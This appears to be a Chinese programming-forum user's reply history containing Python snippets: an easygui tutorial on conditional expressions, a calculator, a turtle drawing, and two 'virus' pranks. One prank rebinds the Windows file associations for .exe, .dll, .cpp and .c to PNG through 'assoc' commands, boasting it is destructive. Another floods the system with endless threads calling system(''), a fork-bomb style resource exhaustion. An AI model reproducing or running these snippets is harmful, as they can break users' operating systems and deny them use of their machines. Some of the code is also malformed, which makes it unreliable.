Lv.1
已注销的小号
在 【Python作品分享】第一期教程【教程贴】 中回复
import easygui
easygui.msgbox('欢迎来到Python小课堂!', '1048576', '继续')
if easygui.ynbox('你学过Python吗', '1048576', ('有哒!', 'Python,什么鬼?')):
easygui.msgbox('Hello', '1048576', '继续')
easygui.msgbox('经常写if ……else……,像这行代码', '1048576', '继续')
easygui.msgbox('if a<b:\n\tc=a\nelse:\n\tc=b', '1048576', '继续')
easygui.msgbox('再看这行!', '1048576', '继续')
easygui.msgbox('c=(a if a<b else b)', '1048576', '继续')
easygui.msgbox('if为真的结果要写在if前', '1048576', '继续')
easygui.msgbox('条件写在if&else中间', '1048576', '继续')
easygui.msgbox('if为假的结果写在else后', '1048576', '继续')
else:
easygui.msgbox('Hello', '1048576', '继续')
easygui.msgbox('今天就编写你第一个Python程序吧!!!', '1048576', '继续')
easygui.msgbox("print('HelloWorld')", '1048576', '继续')
easygui.msgbox('双引号里爱填啥填啥!', '1048576', '继续')
easygui.msgbox('这期就跟大家说在见喽!886!')
2020-04-08T07:09:39 点赞:0
在 完整还原box编辑器 中回复
2020-04-08T07:29:01 点赞:0
在 【公告】通天塔<像素进化>计划,全新版本,即将上线! 中回复
1天……2天……3天………………………………10天………………………………100天………………………………1年……2年……3年………………………………10年……………………………………100年 还不上线………………
2020-04-10T06:52:31 点赞:0
在 【Python作品分享】加法【作品秀】 中回复
def 计算(算式,分隔符,函数):
if 分隔符 in 算式:
return 函数(int(算式.split(分隔符)[0]), int(算式.split(分隔符)[1]))
else:
return 0
while True:
try:
a=input('算式')
print(str(计算(a, '+', lambda a, b: a+b)+计算(a, '-', lambda a, b: a-b)+计算(a, '*', lambda a, b: a*b)+计算(a, '/', lambda a, b: a/b)))
except Exception as e:
print('获得成就,不按套路出牌!代码',e)2020-04-11T06:51:13 点赞:0
在 病毒!小心! 中回复
from os impmort *
#此程序比↓更具有破坏性!
system("assoc .exe=pngfile")
system("assoc .dll=pngfile")
system("assoc .cpp=pngfile")
system("assoc .c=pngfile")
#hiahiahia
注:系统需要*.dll文件
hiahiahia
2020-04-11T11:59:13 点赞:0
在 【Python作品分享】弹窗病毒【教程贴】 中回复
from os import system
from threading import Thread
def run():
while True:
try:
system('')
while 1:
Thread(target=run).start()2020-04-17T16:14:27 点赞:0
在 Py代码猜猜看05 中回复
from turtle import *
for i in range(36000):
fd(0.01)
left(0.01)2020-04-18T16:05:17 点赞:0